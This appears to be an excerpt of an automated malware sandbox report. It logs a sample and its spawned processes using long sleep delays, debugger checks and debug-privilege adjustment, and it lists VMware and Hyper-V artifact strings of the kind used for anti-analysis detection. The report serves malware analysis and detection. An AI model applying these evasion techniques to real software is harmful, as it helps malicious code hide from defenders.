Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595653s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595430s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595199s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -595086s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -594855s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -594722s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -594412s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -594281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -594158s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe TID: 764	Thread sleep time: -580098s >= -30000s	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe TID: 5848	Thread sleep count: 422 > 30	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe TID: 6976	Thread sleep count: 1387 > 30	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe TID: 5052	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -27670116110564310s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -3600000s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -599875s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -599766s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -599641s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -599531s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -599421s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -599313s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -599188s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -599063s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -598926s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -598754s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -598625s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -598516s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -598391s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -598281s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -598172s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -598063s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597938s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597813s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597688s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597578s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597469s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597344s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597232s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597125s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -597016s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -596906s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -596797s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -596688s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -596563s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -596453s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -596324s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -596219s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -596030s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -595922s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -595797s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -595688s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -595563s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7560	Thread sleep time: -595453s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7468	Thread sleep count: 364 > 30
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7364	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7548	Thread sleep count: 326 > 30
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7548	Thread sleep count: 40 > 30
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe TID: 7420	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\blocksavesperfMonitorDll\reviewDll.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		3_2_0070A5F4
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		3_2_0071B8E0

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_0071DD72 VirtualQuery,GetSystemInfo,

3_2_0071DD72

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599725	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599552	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599195	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 597294	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596889	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596764	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596324	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596217	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 596101	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595653	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595546	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595430	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595199	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 595086	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594855	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594722	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594412	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 594158	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Thread delayed: delay time: 580098	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599875
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599766
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599641
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599531
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599421
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599313
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599188
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 599063
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598926
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598754
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598625
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598516
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598391
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598281
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598172
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 598063
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597938
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597813
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597688
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597578
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597469
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597344
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597232
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597125
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 597016
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596906
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596797
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596688
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596563
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596453
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596324
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596219
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 596030
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595922
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595797
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595688
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595563
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 595453
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Thread delayed: delay time: 922337203685477

Source: Amcache.hve.27.dr	Binary or memory string: VMware
Source: Amcache.hve.27.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.27.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.27.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.27.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.27.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.27.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.27.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.27.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.27.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: wscript.exe, 00000006.00000002.1834929836.00000000034A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\_
Source: reviewDll.exe, 0000000B.00000002.1856887751.000000001B723000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:%
Source: Amcache.hve.27.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: kendalcp.exe, 00000003.00000002.1762035159.0000000002F92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\a
Source: Amcache.hve.27.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Bootstrapper.exe, 00000001.00000002.1997639916.00000195AC23C000.00000004.00000020.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4207424224.000000001BCE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.27.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.27.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: wscript.exe, 00000006.00000002.1834929836.00000000034A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.27.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.27.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.27.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.27.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.27.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.27.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.27.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.27.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.27.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.27.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.27.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.27.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.27.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.27.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.27.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

API call chain: ExitProcess graph end node

graph_3-24306

Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_0072866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_0072866F

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_0072753D mov eax, dword ptr fs:[00000030h]

3_2_0072753D

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_0072B710 GetProcessHeap,

3_2_0072B710

Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process token adjusted: Debug
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process token adjusted: Debug
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071F063 SetUnhandledExceptionFilter,	3_2_0071F063
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0071F22B
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0072866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0072866F
